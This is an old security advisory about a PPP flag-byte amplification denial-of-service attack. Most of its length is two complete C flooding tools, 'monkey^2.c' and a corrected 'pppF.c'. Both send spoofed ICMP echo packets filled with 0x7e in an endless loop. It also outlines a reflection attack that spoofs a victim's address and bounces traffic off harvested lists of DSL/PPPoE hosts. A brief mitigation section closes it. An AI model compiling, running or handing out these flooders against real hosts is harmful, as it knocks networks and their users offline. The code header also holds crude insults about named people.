COMMAND
PPP
SYSTEMS AFFECTED
PPP
PROBLEM
'cat catzor' found following. PPP uses a speciffic flag byte to
signify begining and end of ppp frame. If this byte is contained
in the data portion of the frame it is escaped by two other bytes.
Crafting a packet filled with the flag byte doubles the amount of
data which goes through the ppp link, as well as consumes
resources while the escaped bytes are unescaped.
"Problem" lies within ppp itself, on link level. It is irrelevant
which protocol is used to deliver data to the target machine.
A typical ppp frame looks like this:
[FLAG(7e)][ADDR][CONTROL][PROTOCOL][INFORMATION][CRC][FLAG(7e)]
Note: most implementations don't actually transmit addr and
control fields (since these are static). If the flag charachter
is contained within the [INFORMATION] portion of the frame, it is
replaced by a sequence of [0x7d 0x5e]. So if an incoming packet
contains one 7e byte, it will get converted to two other bytes
when it enters the ppp link, hence, the flood will double. The
attached code uses icmp echo request to deliver the data to
target. If the target also replies to this packet (as it should)
it will once again amplify the flood. In other words, for each
byte the attacker sends, targets gets hit with two, and replies
with two. Attached code supports spoofing of originating IP
adress.
NOTE: by default ppp will also escape any byte with value less
than 0x20 (i.e any ASCII controll charachter) so while simply
filtering suspicious amounts of 0x7e might save your ppp users
from this particular piece of code, modifying the attack is as
simple as changing the data character.
Code developed by xaiou. Concept developed by xaiou, reviewed by
USSR Research.
File Name: monkey^2.c
Platform: linux 2.x
Compile: gcc -o monkey^2 monkey.c
Suggested: ansi color capable terminal.
IMPORTANT: in order for this to do what it's supposed to do, it
is imperial that the attacker NOT be on a ppp link himself. If
one was to attack a ppp link FROM a ppp link, it would prove
completely useless. (because you'd be sending 2 bytes and target
would be getting hit by two, you might as well ping -f).
The code (below this one is another one that apparently works):
/****************************************************************************
* Monkey Squared Dot Cee - only thing better than a monkey.... *
* is monkey squared. - me myself and xaiou. *
* USSR Research Team - Concept and code by xaiou. Checksum function *
* stolen from smurf by TFreak. *
* Concept: ppp uses a special byte, namely 0x7e to designate start and *
* end of a packet. If this byte appears in data, it is escaped with *
* 0x7d and 0x5e. So in conclusion sending, a spoofed icmp echo request *
* to a target host on ppp link, loaded with 0x7e, first of all, the load *
* doubles when it hits the ppp link, and if that wasn't enough, the victim *
* responds with this packet, again doubling the load. So for each 1 byte *
* you send victim recieves two and sends out two. Not bad, eh? Anyways *
* the only solution I see to this is to block icmp echo requests to your *
* ppp linked friends. *
* *
* Props: USSR Research, Neounix.com, superluck, optiklenz, NAI, *
* Richard Stevens (you're my hero), powerbox, armoredtech *
* w00w00 team (j00 ar3 3rl33t), all the people in #c (i love you *
* guys!), aliensex, OGL, IanH. Also TFreak (i hope you don't mind *
* me borrowing your checksum function.) Also phrack and route *
* (you are my other hero), BlackIC for the coloreds. DJ Jeff from *
* the 418 club in mineapolis, and that one stripper... *
* *
* Morons: digiebola ("hacker" who can't code hello world) and his slut *
* "girlfriend" (the girl part is debatable). All irc hookers, *
* people who run NT, people who buy NT, people who make NT, *
* People who think think they're LOU (you are not lou damn it) *
* *
* --------------------- USSR Research Team 2000 --------------------------*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#define GREEN "\033[32m"
#define RED "\033[31m"
#define GRAY "\033[37m"
unsigned short in_chksum (u_short *addr, int len); /* stolen from smurf */
void ussrinfo(void);
void usage(void);
int main (int ARGC, char *ARGV[]) {
struct iphdr *iphdr;
struct icmphdr *icmphdr;
struct sockaddr_in sockaddress;
char *packet;
int raw_socket;
int i;
int no_packetsz;
int sizeofpacket;
char *data;
ussrinfo();
if(ARGC != 5) { usage(); exit(0); }
sizeofpacket = atoi(ARGV[4]);
data = (char *)malloc(sizeofpacket);
memset(data, 0x7e, sizeofpacket);
/* name the socket */
sockaddress.sin_addr.s_addr = inet_addr(ARGV[2]);
sockaddress.sin_family = AF_INET; /* internet socket */
sockaddress.sin_port = 0; /* it's icmp...no port */
if ((raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeofpacket);
iphdr = (struct iphdr *)packet; /* ip now refers to packet.iphdr */
icmphdr = (struct icmphdr *) (packet + sizeof(struct iphdr));
iphdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeofpacket);
iphdr->ihl = 5; /* ip header lenght in 32 bit words */
iphdr->version = 4;
iphdr->ttl = 255; /* maximum hops */
iphdr->tos = 0;
iphdr->frag_off = 0; /* data offset */
iphdr->protocol = IPPROTO_ICMP;
iphdr->saddr = inet_addr(ARGV[1]); /* fake source */
iphdr->daddr = sockaddress.sin_addr.s_addr; /* reall destination */
iphdr->check = in_chksum((u_short *)iphdr, sizeof(struct iphdr)); /* checksum */
icmphdr->type = 8; /* echo request */
icmphdr->code = 0; /* icmp subcode...screw it */
icmphdr->checksum = in_chksum((u_short *)icmphdr, sizeof(struct icmphdr) + sizeofpacket);
printf(RED"Now flooding %s\n", ARGV[2]);
no_packetsz = atoi(ARGV[3]);
i=0;
while(1) {
printf(GRAY".");
sendto(raw_socket, packet, (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeofpacket), 0, (struct sockaddr *)&sockaddress, sizeof(struct sockaddr));
if( (i > no_packetsz) && (no_packetsz != 0)) { break; }
i++;
}
printf(GREEN"\nMonkey Complete...monkey squared complete.\n"GRAY);
return 1;
}
unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
void ussrinfo(void) {
printf("---------------------------------------------------------------\n");
printf(GREEN"| Underground Security Systems Research Proudly Presents: |\n\n");
printf("| monkey squared dot cee - ppp linkz ...the end is near. | \n");
printf("| By: xaiou (tarik). | \n");
}
void usage(void) {
printf(RED"| Usage: monkey^2 source destination number (0 for infinite ) |\n");
printf(GRAY"|---------------------USSR Research --------------------------|\n");
}
Goncalo Nuno Gomes Silva posted following to Securitz Bugware.
He says that exploit above isn't doing what was suppose to. All
it does is sending the packet header followed by null bytes,
instead of sending 0x7e. There are other things that wasn't good
either, like de loop who counts the send packets and the usage
that have only four fields and the exploit only works with argc=5.
So he decided to make his own exploit, which goes in the below.
Thnx.
/*
* pppF.c
* PPP Flooder
*
* Author: NeVErMinD
* gngs@mega.ist.utl.pt
*
* Greets To: Susana(my love), DrBrain, paran0id, BeBe, FractalG, its1,
* #torres_de_ervas
*
*
* Few words: USSR Research Team found this bug, i just write the exploit
* based on their information. Basically, what this does is
* sending one special byte "0x7e" making the ppp link trafic
* increase four times.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <errno.h>
void usage( char *name )
{
printf( "\nusage: %s <source host> <victim host> <packetsize> [npackets]\n\n",name);
printf( "Made By NeVErMinD\n");
exit( 0 );
}
// procedure taken from stream.c
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
struct hostent *resolv ( char *host)
{
struct hostent *hp;
if( ( hp = gethostbyname( host ) ) == NULL )
{
perror("gethostbyname()");
exit( -1 );
}
}
void attack( int sockid, struct sockaddr_in sin, struct sockaddr_in din,
char *arg, int npackets, int sizeofpacket )
{
char *packet;
int psize,i;
char *data;
struct iphdr *ip;
size_t iplen = sizeof( struct iphdr );
struct icmphdr *icmp;
size_t icmplen = sizeof( struct icmphdr );
data = (char *)malloc(sizeofpacket);
memset(data, 0x7e, sizeofpacket);
packet = ( char * )malloc( iplen + icmplen + sizeofpacket );
ip = ( struct iphdr * )packet;
icmp = ( struct icmphdr * )( packet + iplen );
bcopy( data ,(packet+iplen+icmplen) , sizeofpacket);
ip->ihl = 5;
ip->tos = 0;
ip->version = 4;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = din.sin_addr.s_addr;
ip->tot_len = htons( iplen + icmplen + sizeofpacket );
ip->check = in_cksum( ( u_short * )ip, iplen );
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum =in_cksum( ( u_short * )icmp,(icmplen + sizeofpacket ));
psize = ( iplen + icmplen + sizeofpacket );
printf ("\n\nFlooding %s\n\n", arg);
i=0;
while(1)
{
if( (i == npackets) && (npackets != 0))
{ break; }
if ((sendto( sockid, packet, psize, 0,
( struct sockaddr * )&din, sizeof( struct sockaddr ) ))< 0 )
{
perror("sendto()");
exit( -1 );
}
printf (".");
i++;
}
printf( "\nCompleted\n");
free( packet );
}
int main( int argc, char *argv[] )
{
struct sockaddr_in sin, din;
struct hostent *sourcehost, *desthost;
int sockid,npackets,sizeofpacket;
if (argc<4) usage(argv[0]);
if (argv[4]==NULL)
npackets = 0;
else
npackets = ( atoi( argv[4] ) );
sizeofpacket = ( atoi( argv[3]) );
sourcehost = resolv (argv[1]);
bcopy( sourcehost->h_addr, &sin.sin_addr, sourcehost->h_length );
desthost = resolv (argv[2]);
bcopy( desthost->h_addr, &din.sin_addr, desthost->h_length );
din.sin_family = AF_INET;
if( ( sockid = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1 )
{
perror("socket()");
exit( -1 );
}
attack( sockid, sin, din, argv[2], npackets, sizeofpacket );
return 0;
}
"New DOS attack" isn't quite appropriate. This kind of attack
has been known for quite some time now. It is effective on any
kind of link, and it's a ppp encapsulation pattern for ping.
But there may be a larger problem with the encapsulation attack.
This would be a kind of smurf+USSR Labs code. It has to do with
dsl connections that use PPPoE (Or PPPoX). It's pretty easy to
gather a big list of DSL IPs... Look at some of the naming
schemes (e.g.: adsl-208-191-156-188.dsl.hstntx.swbell.net,
adsl-gte-la-216-86-202-119.mminternet.com,
3ff8e2d5.dsl.flashcom.net, 63-217-212-127.sdsl.cais.net, you get
the idea...) you can guess a pretty wide range of the reverse
lookups / IP's that are using DSL technology. Though not all of
these will be using PPPoE, a large number do because the easy of
use. If you can get double the traffic from a good sized list of
these addresses, spoofing the source address to some target
machine, you could cripple it without using up much of your own
bandwidth. Mind you this would definitely not be as effective as
smurf, but because of the Amplification of packets from high
(read decent) bandwidth connections, you could take down your
friendly neighborhood big backbone from something smaller (don't
think 56K dialup is going to do it for you this time though).
SOLUTION
Disallow icmp trafic to your ppp connected machines (before the
ppp link), or filter packets which contain suspicious number of
the ppp flag byte (0x7e).